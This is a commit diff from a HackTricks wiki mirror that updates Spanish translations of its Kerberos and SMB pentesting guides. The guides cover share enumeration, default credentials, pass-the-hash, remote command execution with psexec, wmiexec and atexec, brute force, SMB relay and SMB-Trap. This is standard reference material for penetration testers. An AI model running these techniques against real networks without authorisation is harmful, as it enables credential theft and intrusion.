maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/network-services-pentesting/pentesting-smb/README.md',

Browse Source
This commit is contained in:
Translator 2025-09-29 09:33:52 +00:00
parent 4866e9a58b
commit fbf53fcb78
4 changed files with 408 additions and 275 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

60
src/network-services-pentesting/pentesting-kerberos-88/README.md
View File

@ -2,20 +2,57 @@
{{#include ../../banners/hacktricks-training.md}}
## Información Básica
## Información básica
**Kerberos** opera bajo un principio donde autentica a los usuarios sin gestionar directamente su acceso a los recursos. Esta es una distinción importante porque subraya el papel del protocolo en los marcos de seguridad.
**Kerberos** funciona con el principio de autenticar usuarios sin gestionar directamente su acceso a los recursos. Esta es una distinción importante porque subraya el papel del protocolo en los marcos de seguridad.
En entornos como **Active Directory**, **Kerberos** es fundamental para establecer la identidad de los usuarios al validar sus contraseñas secretas. Este proceso asegura que la identidad de cada usuario se confirme antes de que interactúe con los recursos de la red. Sin embargo, **Kerberos** no extiende su funcionalidad para evaluar o hacer cumplir los permisos que un usuario tiene sobre recursos o servicios específicos. En cambio, proporciona una forma segura de autenticar a los usuarios, lo cual es un primer paso crítico en el proceso de seguridad.
En entornos como **Active Directory**, **Kerberos** es fundamental para establecer la identidad de los usuarios validando sus contraseñas secretas. Este proceso asegura que la identidad de cada usuario se confirme antes de que interactúe con los recursos de la red. Sin embargo, **Kerberos** no extiende su funcionalidad para evaluar o aplicar los permisos que tiene un usuario sobre recursos o servicios específicos. En su lugar, proporciona una forma segura de autenticar a los usuarios, que es un primer paso crítico en el proceso de seguridad.
Después de la autenticación por parte de **Kerberos**, el proceso de toma de decisiones respecto al acceso a los recursos se delega a servicios individuales dentro de la red. Estos servicios son responsables de evaluar los derechos y permisos del usuario autenticado, basándose en la información proporcionada por **Kerberos** sobre los privilegios del usuario. Este diseño permite una separación de preocupaciones entre la autenticación de la identidad de los usuarios y la gestión de sus derechos de acceso, lo que permite un enfoque más flexible y seguro para la gestión de recursos en redes distribuidas.
Tras la autenticación por **Kerberos**, el proceso de toma de decisiones respecto al acceso a recursos se delega a los servicios individuales dentro de la red. Estos servicios son entonces responsables de evaluar los derechos y permisos del usuario autenticado, basándose en la información proporcionada por **Kerberos** sobre los privilegios del usuario. Este diseño permite una separación de responsabilidades entre autenticar la identidad de los usuarios y gestionar sus derechos de acceso, posibilitando un enfoque más flexible y seguro para la gestión de recursos en redes distribuidas.
**Puerto por Defecto:** 88/tcp/udp
**Puerto por defecto:** 88/tcp/udp
```
PORT STATE SERVICE
88/tcp open kerberos-sec
```
### **Para aprender a abusar de Kerberos, deberías leer la publicación sobre** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
### **Para aprender a abusar de Kerberos deberías leer el post sobre** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
## Entornos solo Kerberos: preparación del cliente y resolución de problemas
Cuando NTLM está deshabilitado en los servicios del dominio (SMB/WinRM/etc.), debes autenticarte con Kerberos. Errores comunes y un flujo de trabajo funcional:
- La sincronización horaria es obligatoria. Si el reloj de tu equipo está desincronizado por más de unos minutos verás `KRB_AP_ERR_SKEW` y toda la autenticación Kerberos fallará. Sincroniza contra el DC:
```bash
# quick one-shot sync (requires sudo)
sudo ntpdate <dc.fqdn> || sudo chronyd -q 'server <dc.fqdn> iburst'
```
- Genera un krb5.conf válido para el realm/dominio objetivo. `netexec` (CME fork) puede generar uno para ti mientras pruebas SMB:
```bash
# Generate krb5.conf and install it
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
```
- Obtener un TGT y verificar el ccache:
```bash
kinit <user>
klist
```
- Usa Kerberos con herramientas SMB (no se envían contraseñas, usa tu ccache):
```bash
# netexec / CME
netexec smb <dc.fqdn> -k # lists shares, runs modules using Kerberos
# impacket examples also support -k / --no-pass to use the ccache
smbclient --kerberos //<dc.fqdn>/IPC$
```
- GSSAPI SSH inicio de sesión único (OpenSSH a Windows OpenSSH server):
```bash
# Ensure krb5.conf is correct and you have a TGT (kinit)
# Use the FQDN that matches the host SPN. Wrong names cause: "Server not found in Kerberos database"
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
```
Consejos:
- Asegúrate de que tu `/etc/hosts` resuelva exactamente el FQDN al que vas a SSH/SMB, y que aparezca antes que cualquier entrada de dominio sin subdominio si estás sobrescribiendo DNS. Los desajustes de SPN rompen GSSAPI.
- Si NTLM está deshabilitado en SMB puedes ver `STATUS_NOT_SUPPORTED` con intentos NTLM; añade `-k` para forzar Kerberos.
## Más
@ -25,7 +62,7 @@ PORT STATE SERVICE
### MS14-068
La vulnerabilidad MS14-068 permite a un atacante manipular el token de inicio de sesión Kerberos de un usuario legítimo para reclamar falsamente privilegios elevados, como ser un Administrador de Dominio. Esta reclamación falsa es validada erróneamente por el Controlador de Dominio, lo que permite el acceso no autorizado a los recursos de la red en todo el bosque de Active Directory.
La vulnerabilidad MS14-068 permite a un atacante manipular el token de inicio de sesión Kerberos de un usuario legítimo para reclamar falsamente privilegios elevados, como ser Domain Admin. Esta afirmación falsificada es validada por error por el Domain Controller, permitiendo acceso no autorizado a recursos de red en todo el bosque de Active Directory.
{{#ref}}
@ -34,7 +71,14 @@ https://adsecurity.org/?p=541
Otros exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
## Comandos Automáticos de HackTricks
## Referencias
- [NetExec (CME) wiki – Kerberos and krb5.conf generation](https://www.netexec.wiki/)
- [OpenSSH GSSAPIAuthentication](https://man.openbsd.org/ssh_config#GSSAPIAuthentication)
- [MIT Kerberos – Using Kerberos on UNIX](https://web.mit.edu/kerberos/krb5-1.12/doc/user/user_config.html)
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
## HackTricks Comandos automáticos
```
Protocol_Name: Kerberos #Protocol Abbreviation if there is one.
Port_Number: 88 #Comma separated if there is more than one.

178
src/network-services-pentesting/pentesting-smb/README.md
View File

@ -2,61 +2,61 @@
{{#include ../../banners/hacktricks-training.md}}
## **Port 139**
## **Puerto 139**
El _**Sistema básico de entrada/salida de red**_** (NetBIOS)** es un protocolo de software diseñado para permitir que aplicaciones, PCs y escritorios dentro de una red de área local (LAN) interactúen con el hardware de red y **facilitar la transmisión de datos a través de la red**. La identificación y localización de las aplicaciones de software que operan en una red NetBIOS se realiza mediante sus nombres NetBIOS, que pueden tener hasta 16 caracteres de longitud y con frecuencia son distintos del nombre del equipo. Una sesión NetBIOS entre dos aplicaciones se inicia cuando una aplicación (actuando como cliente) emite un comando para "llamar" a otra aplicación (actuando como servidor) utilizando **TCP Port 139**.
El _**Network Basic Input Output System**_** (NetBIOS)** es un protocolo de software diseñado para permitir que aplicaciones, PCs y equipos de sobremesa dentro de una red de área local (LAN) interactúen con el hardware de red y **facilitar la transmisión de datos a través de la red**. La identificación y localización de las aplicaciones que operan en una red NetBIOS se realiza a través de sus nombres NetBIOS, que pueden tener hasta 16 caracteres de longitud y a menudo son diferentes del nombre del equipo. Una sesión NetBIOS entre dos aplicaciones se inicia cuando una aplicación (actuando como cliente) emite un comando para "llamar" a otra aplicación (actuando como servidor) utilizando **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
Técnicamente, Port 139 se denomina ‘NBT over IP’, mientras que Port 445 se identifica como ‘SMB over IP’. El acrónimo **SMB** significa ‘**Server Message Blocks**’, que también es conocido actualmente como el **Common Internet File System (CIFS)**. Como protocolo de red de la capa de aplicación, SMB/CIFS se utiliza principalmente para permitir el acceso compartido a archivos, impresoras, puertos serie y facilitar diversas formas de comunicación entre nodos en una red.
Técnicamente, el puerto 139 se conoce como ‘NBT over IP’, mientras que el puerto 445 se identifica como ‘SMB over IP’. El acrónimo **SMB** significa ‘**Server Message Blocks**’, que también es conocido actualmente como **Common Internet File System (CIFS)**. Como protocolo de red de la capa de aplicación, SMB/CIFS se utiliza principalmente para permitir el acceso compartido a archivos, impresoras, puertos serie y facilitar diversas formas de comunicación entre nodos en una red.
Por ejemplo, en el contexto de Windows, se destaca que SMB puede funcionar directamente sobre TCP/IP, eliminando la necesidad de NetBIOS over TCP/IP, mediante el uso del puerto 445. Por el contrario, en otros sistemas se observa el uso del puerto 139, lo que indica que SMB se está ejecutando junto con NetBIOS over TCP/IP.
Por ejemplo, en el contexto de Windows, se destaca que SMB puede operar directamente sobre TCP/IP, eliminando la necesidad de NetBIOS over TCP/IP, mediante el uso del puerto 445. En cambio, en otros sistemas se observa el uso del puerto 139, lo que indica que SMB se está ejecutando junto con NetBIOS over TCP/IP.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
El protocolo **Server Message Block (SMB)**, que funciona en un modelo **cliente-servidor**, está diseñado para regular el **acceso a archivos**, directorios y otros recursos de red como impresoras y routers. Utilizado principalmente en la familia de sistemas operativos **Windows**, SMB garantiza compatibilidad con versiones anteriores, permitiendo que dispositivos con versiones más recientes del sistema operativo de Microsoft interactúen sin problemas con aquellos que ejecutan versiones antiguas. Además, el proyecto **Samba** ofrece una solución de software libre que permite la implementación de SMB en sistemas **Linux** y Unix, facilitando así la comunicación multiplataforma mediante SMB.
El protocolo **Server Message Block (SMB)**, que funciona en un **modelo cliente-servidor**, está diseñado para regular el **acceso a archivos**, directorios y otros recursos de red como impresoras y routers. Utilizado principalmente en la familia de sistemas operativos **Windows**, SMB asegura compatibilidad hacia atrás, permitiendo que dispositivos con versiones más nuevas del sistema operativo de Microsoft interactúen sin problemas con aquellos que ejecutan versiones antiguas. Además, el proyecto **Samba** ofrece una solución de software libre, permitiendo la implementación de SMB en sistemas **Linux** y **Unix**, facilitando así la comunicación multiplataforma a través de SMB.
Los shares, que representan **partes arbitrarias del sistema de archivos local**, pueden ser provistos por un servidor SMB, haciendo que la jerarquía visible para un cliente sea en parte **independiente** de la estructura real del servidor. Las **Listas de Control de Acceso (ACLs)**, que definen los **derechos de acceso**, permiten un **control fino** sobre los permisos de los usuarios, incluyendo atributos como **`execute`**, **`read`** y **`full access`**. Estos permisos pueden asignarse a usuarios individuales o a grupos, en función de los shares, y son distintos de los permisos locales establecidos en el servidor.
Shares, que representan **partes arbitrarias del sistema de archivos local**, pueden ser proporcionadas por un servidor SMB, haciendo que la jerarquía visible para un cliente sea en parte **independiente** de la estructura real del servidor. Las Access Control Lists (ACLs), que definen **derechos de acceso**, permiten un **control fino** sobre los permisos de usuario, incluyendo atributos como `execute`, `read` y `full access`. Estos permisos pueden asignarse a usuarios individuales o grupos, basándose en las shares, y son distintos de los permisos locales establecidos en el servidor.
### IPC$ Share
El acceso al IPC$ share puede obtenerse mediante una null session anónima, permitiendo la interacción con servicios expuestos a través de named pipes. La utilidad `enum4linux` es útil para este propósito. Usada correctamente, permite la obtención de:
El acceso a la share IPC$ puede obtenerse mediante una null session anónima, lo que permite interactuar con servicios expuestos a través de named pipes. La utilidad `enum4linux` es útil para este propósito. Utilizada correctamente, permite la obtención de:
- Información sobre el sistema operativo
- Detalles sobre el dominio padre
- Un listado de usuarios y grupos locales
- Información sobre los shares SMB disponibles
- Una lista de usuarios y grupos locales
- Información sobre las SMB shares disponibles
- La política de seguridad efectiva del sistema
Esta funcionalidad es crítica para administradores de red y profesionales de seguridad para evaluar la postura de seguridad de los servicios SMB (Server Message Block) en una red. `enum4linux` ofrece una visión completa del entorno SMB del sistema objetivo, lo cual es esencial para identificar vulnerabilidades potenciales y asegurar que los servicios SMB estén correctamente protegidos.
Esta funcionalidad es crítica para administradores de red y profesionales de seguridad para evaluar la postura de seguridad de los servicios SMB (Server Message Block) en una red. `enum4linux` proporciona una visión integral del entorno SMB del sistema objetivo, lo cual es esencial para identificar vulnerabilidades potenciales y asegurar que los servicios SMB estén correctamente protegidos.
```bash
enum4linux -a target_ip
```
El comando anterior es un ejemplo de cómo podría usarse `enum4linux` para realizar una full enumeration contra un objetivo especificado por `target_ip`.
El comando anterior es un ejemplo de cómo `enum4linux` puede utilizarse para realizar una enumeración completa contra un objetivo especificado por `target_ip`.
## ¿Qué es NTLM
Si no sabes qué es NTLM o quieres saber cómo funciona y cómo abusar de él, encontrarás muy interesante esta página sobre **NTLM** donde se explica **cómo funciona este protocolo y cómo puedes aprovecharlo:**
Si no sabes qué es NTLM o quieres entender cómo funciona y cómo abusar de él, encontrarás muy interesante esta página sobre **NTLM** donde se explica **cómo funciona este protocolo y cómo puedes aprovecharlo:**
{{#ref}}
../../windows-hardening/ntlm/
{{#endref}}
## **Server Enumeration**
## **Enumeración del servidor**
### **Scan** una red en busca de hosts:
### **Escanear** una red buscando hosts:
```bash
nbtscan -r 192.168.0.1/24
```
### Versión del servidor SMB
Para buscar posibles exploits para la versión de SMB es importante saber qué versión se está usando. Si esta información no aparece en otras herramientas utilizadas, puedes:
Para buscar posibles exploits en la versión de SMB, es importante saber qué versión se está usando. Si esta información no aparece en otras herramientas que uses, puedes:
- Usa el módulo auxiliar **MSF** `**auxiliary/scanner/smb/smb_version**`
- Usa el módulo auxiliar de **MSF** `**auxiliary/scanner/smb/smb_version**`
- O este script:
```bash
#!/bin/sh
@ -81,11 +81,11 @@ searchsploit microsoft smb
```
### **Posibles** Credenciales
| **Usuario(s)** | **Contraseñas comunes** |
| **Nombre(s) de usuario** | **Contraseñas comunes** |
| -------------------- | ----------------------------------------- |
| _(blank)_ | _(blank)_ |
| guest | _(blank)_ |
| Administrator, admin | _(blank)_, password, administrator, admin |
| _(vacío)_ | _(vacío)_ |
| guest | _(vacío)_ |
| Administrator, admin | _(vacío)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
@ -119,9 +119,9 @@ rpcclient -U "username%passwd" <IP> #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Enumerar Usuarios, Grupos y Usuarios Conectados
### Enumerar usuarios, grupos y usuarios conectados
Esta información ya debería haber sido recopilada por enum4linux y enum4linux-ng
Esta información ya debería estar recopilada por enum4linux y enum4linux-ng
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@ -149,7 +149,7 @@ use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
### **Enumerando LSARPC y SAMR rpcclient**
### **Enumeración de LSARPC y SAMR (rpcclient)**
{{#ref}}
@ -158,19 +158,19 @@ rpcclient-enumeration.md
### Conexión GUI desde Linux
#### En el terminal:
#### En la terminal:
`xdg-open smb://cascade.htb/`
#### En la ventana del explorador de archivos (nautilus, thunar, etc)
#### En el explorador de archivos (nautilus, thunar, etc)
`smb://friendzone.htb/general/`
## Enumeración de carpetas compartidas
## Enumeración de Carpetas Compartidas
### Listar carpetas compartidas
Siempre es recomendable comprobar si puedes acceder a algo; si no tienes credenciales, prueba a usar **null** **credentials/guest user**.
Siempre se recomienda comprobar si puedes acceder a algo; si no tienes credenciales intenta usar **null** **credentials/guest user**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -196,9 +196,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Enumerar manualmente shares de Windows y conectarse a ellos**
### **Enumerar manualmente windows shares y conectarse a ellos**
Puede que estés restringido para mostrar los shares de la máquina objetivo y cuando intentas listarlos parezca que no hay ningún share para conectarse. Por eso puede valer la pena intentar conectarse manualmente a un share. Para enumerar los shares manualmente querrás buscar respuestas como NT_STATUS_ACCESS_DENIED y NT_STATUS_BAD_NETWORK_NAME, cuando uses una sesión válida (e.g. null session or valid credentials). Esto puede indicar si el share existe pero no tienes acceso, o si el share no existe en absoluto.
Puede ocurrir que se le restrinja la posibilidad de mostrar los shares de la máquina host y, al intentar listarlos, parezca que no hay shares a los que conectarse. Por ello puede valer la pena intentar conectarse manualmente a un share.
Para enumerar los shares manualmente puede buscar respuestas como NT_STATUS_ACCESS_DENIED y NT_STATUS_BAD_NETWORK_NAME cuando se utiliza una sesión válida (p. ej. null session o credenciales válidas). Estas pueden indicar si el share existe pero no tiene acceso, o si el share no existe en absoluto.
Common share names for windows targets are
@ -211,14 +213,14 @@ Common share names for windows targets are
- SYSVOL
- NETLOGON
(Common share names from _**Network Security Assessment 3rd edition**_)
(Nombres de shares comunes de _**Network Security Assessment 3rd edition**_)
Puedes intentar conectarte a ellos usando el siguiente comando
Puede intentar conectarse a ellos usando el siguiente comando
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
o este script (usando una null session)
o este script (usando una sesión nula)
```bash
#/bin/bash
@ -237,10 +239,10 @@ done
```
ejemplos
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Enumerar recursos compartidos desde Windows / sin herramientas de terceros**
### **Enumerar recursos compartidos en Windows / sin herramientas de terceros**
PowerShell
```bash
@ -259,16 +261,16 @@ net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
```
MMC Snap-in (gráfico)
MMC Snap-in (interfaz gráfica)
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (gráfico), introduzca `\\<ip>\` para ver los shares no ocultos disponibles.
explorer.exe (interfaz gráfica), escriba `\\<ip>\` para ver los recursos compartidos no ocultos disponibles.
### Montar una shared folder
### Montar una carpeta compartida
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
@ -290,14 +292,12 @@ smbclient //<IP>/<share>
> mget *
#Download everything to current directory
```
Comandos:
- mask: especifica la máscara que se usa para filtrar los archivos dentro del directorio (p. ej. "" para todos los archivos)
- recurse: activa/desactiva la recursión (por defecto: desactivado)
- prompt: activa/desactiva el aviso para los nombres de archivo (por defecto: activado)
- recurse: activa la recursión (por defecto: desactivada)
- prompt: desactiva la solicitud de nombres de archivo (por defecto: activada)
- mget: copia todos los archivos que coinciden con la máscara desde el host a la máquina cliente
(_Información tomada de la manpage de smbclient_)
(_Información de la página del manual de smbclient_)
### Búsqueda de carpetas compartidas del dominio
@ -311,49 +311,65 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Especialmente interesantes en los shares son los archivos llamados **`Registry.xml`** ya que **pueden contener contraseñas** de usuarios configurados con **autologon** vía Group Policy. O los archivos **`web.config`** ya que contienen credenciales.
Especialmente interesantes en los shares son los archivos llamados **`Registry.xml`** ya que **pueden contener contraseñas** de usuarios configurados con **autologon** vía Group Policy. También los archivos **`web.config`**, ya que contienen credenciales.
> [!TIP]
> El **SYSVOL share** es **legible** por todos los usuarios autenticados en el dominio. Allí puedes **encontrar** muchos diferentes batch, VBScript y PowerShell **scripts**.\
> Deberías **revisar** los **scripts** dentro de ella, ya que podrías **encontrar** información sensible como **contraseñas**.
> La **SYSVOL share** es **legible** por todos los usuarios autenticados en el dominio. Allí puedes **encontrar** muchos diferentes batch, VBScript y PowerShell **scripts**.\
> Deberías **revisar** los **scripts** dentro de ella ya que podrías **encontrar** información sensible como **contraseñas**.
## Leer el registro
Puede que puedas **leer el registro** usando algunas credenciales descubiertas. Impacket **`reg.py`** te permite intentarlo:
Es posible que puedas **leer el registro** usando algunas credenciales descubiertas. Impacket **`reg.py`** te permite intentarlo:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
## Post Exploitation
## Post Explotación
La **configuración predeterminada de** un servidor **Samba** suele estar en `/etc/samba/smb.conf` y podría tener algunas **configuraciones peligrosas**:
La **configuración por defecto de** un servidor **Samba** suele estar ubicada en `/etc/samba/smb.conf` y podría tener algunas **configuraciones peligrosas**:
| **Configuración** | **Descripción** |
| **Parámetro** | **Descripción** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | ¿Permitir listar los shares disponibles en el share actual? |
| `read only = no` | ¿Prohibir la creación y modificación de archivos? |
| `browseable = yes` | ¿Permite listar los shares disponibles en el share actual? |
| `read only = no` | ¿Prohíbe la creación y modificación de archivos? |
| `writable = yes` | ¿Permitir a los usuarios crear y modificar archivos? |
| `guest ok = yes` | ¿Permitir conectarse al servicio sin usar una contraseña? |
| `guest ok = yes` | ¿Permitir conectar al servicio sin usar una contraseña? |
| `enable privileges = yes` | ¿Respetar los privilegios asignados a un SID específico? |
| `create mask = 0777` | ¿Qué permisos deben asignarse a los archivos recién creados? |
| `directory mask = 0777` | ¿Qué permisos deben asignarse a los directorios recién creados? |
| `create mask = 0777` | ¿Qué permisos deben asignarse a los archivos recién creados? |
| `directory mask = 0777` | ¿Qué permisos deben asignarse a los directorios recién creados? |
| `logon script = script.sh` | ¿Qué script debe ejecutarse en el inicio de sesión del usuario? |
| `magic script = script.sh` | ¿Qué script debe ejecutarse cuando el script se cierra? |
| `magic script = script.sh` | ¿Qué script debe ejecutarse cuando el script se cierre? |
| `magic output = script.out` | ¿Dónde debe almacenarse la salida del magic script? |
El comando `smbstatus` proporciona información sobre el **servidor** y sobre **quién está conectado**.
## Autenticarse usando Kerberos
Puedes **autenticarte** en **Kerberos** usando las herramientas **smbclient** y **rpcclient**:
Puedes **autenticarte** en **kerberos** usando las herramientas **smbclient** y **rpcclient**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
En entornos solo Kerberos (NTLM deshabilitado), los intentos NTLM contra SMB pueden devolver `STATUS_NOT_SUPPORTED`. Corrige problemas comunes de Kerberos y fuerza la autenticación Kerberos:
```bash
# sync clock to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# use Kerberos with tooling (reads your TGT from ccache)
netexec smb <dc.fqdn> -k
```
Para una configuración completa del cliente (generación de krb5.conf, kinit, advertencias sobre SSH GSSAPI/SPN) consulte:
{{#ref}}
../pentesting-kerberos-88/README.md
{{#endref}}
## **Ejecutar comandos**
crackmapexec puede ejecutar comandos **abusando** de cualquiera de **mmcexec, smbexec, atexec, wmiexec**, siendo **wmiexec** el método **predeterminado**. Puedes indicar qué opción prefieres usar con el parámetro `--exec-method`:
### **crackmapexec**
crackmapexec puede ejecutar comandos **abusando de** cualquiera de **mmcexec, smbexec, atexec, wmiexec**, siendo **wmiexec** el método **por defecto**. Puedes indicar qué opción prefieres usar con el parámetro `--exec-method`:
```bash
apt-get install crackmapexec
@ -377,8 +393,8 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
Ambas opciones **crearán un nuevo servicio** (usando _\pipe\svcctl_ vía SMB) en la máquina víctima y lo usarán para **ejecutar algo** (**psexec** subirá un archivo ejecutable al share ADMIN$ y **smbexec** apuntará a **cmd.exe/powershell.exe** y pondrá en los argumentos el payload --**file-less technique**--).\
**Más info** sobre [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) y [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
Ambas opciones **crearían un nuevo servicio** (usando _\pipe\svcctl_ vía SMB) en la máquina víctima y lo usarán para **ejecutar algo** (**psexec** **subirá** un archivo ejecutable al recurso compartido ADMIN$ y **smbexec** apuntará a **cmd.exe/powershell.exe** y pondrá en los argumentos la carga útil --**file-less technique-**-).\
**Más info** sobre [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)y [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -387,11 +403,11 @@ En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
Usando el **parámetro** `-k` puedes autenticarte contra **kerberos** en lugar de **NTLM**
Usando el **parámetro** `-k` puedes autenticarte con **kerberos** en lugar de **NTLM**
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
Ejecuta sigilosamente un shell de comandos sin tocar el disco ni iniciar un nuevo servicio usando DCOM a través del **puerto 135.**\
Ejecuta sigilosamente una shell de comandos sin tocar el disco ni iniciar un nuevo servicio usando DCOM a través del **puerto 135.**\
En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -399,7 +415,7 @@ En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
Usando el **parámetro**`-k` puedes autenticarte contra **kerberos** en lugar de **NTLM**
Usando el **parámetro** `-k` puedes autenticarte con **kerberos** en lugar de **NTLM**
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -408,7 +424,7 @@ Usando el **parámetro**`-k` puedes autenticarte contra **kerberos** en lugar de
```
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
Ejecutar comandos a través del Programador de tareas (usando _\pipe\atsvc_ vía SMB).\
Ejecutar comandos a través del Task Scheduler (usando _\pipe\atsvc_ vía SMB).\
En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
@ -418,7 +434,7 @@ En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
### Superficie de ataque de ksmbd y fuzzing del protocolo SMB2/SMB3 (syzkaller)
### ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller)
{{#ref}}
ksmbd-attack-surface-and-fuzzing-syzkaller.md
@ -426,42 +442,42 @@ ksmbd-attack-surface-and-fuzzing-syzkaller.md
## **Bruteforce credenciales de usuarios**
**No se recomienda, podrías bloquear una cuenta si excedes el número máximo de intentos permitidos**
**Esto no se recomienda, podrías bloquear una cuenta si excedes el número máximo de intentos permitidos**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## SMB relay attack
Este ataque utiliza el Responder toolkit para **capture SMB authentication sessions** en una red interna, y **relays** esas sesiones a una **target machine**. Si la autenticación **session is successful**, automáticamente te dará acceso a una **system** **shell**.\
[**Más información sobre este ataque aquí.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Este ataque utiliza el toolkit Responder para **capturar sesiones de autenticación SMB** en una red interna y **retransmitirlas** a una **target machine**. Si la **sesión** de autenticación tiene éxito, automáticamente te dará acceso a un **system** **shell**.\
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
La librería de Windows URLMon.dll intenta automáticamente autenticarse con el host cuando una página trata de acceder a algún contenido vía SMB, por ejemplo: `img src="\\10.10.10.10\path\image.jpg"`
La librería de Windows URLMon.dll intenta autenticarse automáticamente con el host cuando una página intenta acceder a algún contenido vía SMB, por ejemplo: `img src="\\10.10.10.10\path\image.jpg"`
This happens with the functions:
Esto ocurre con las funciones:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
Which are used by some browsers and tools (like Skype)
Que son utilizadas por algunos navegadores y herramientas (como Skype)
![Desde: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
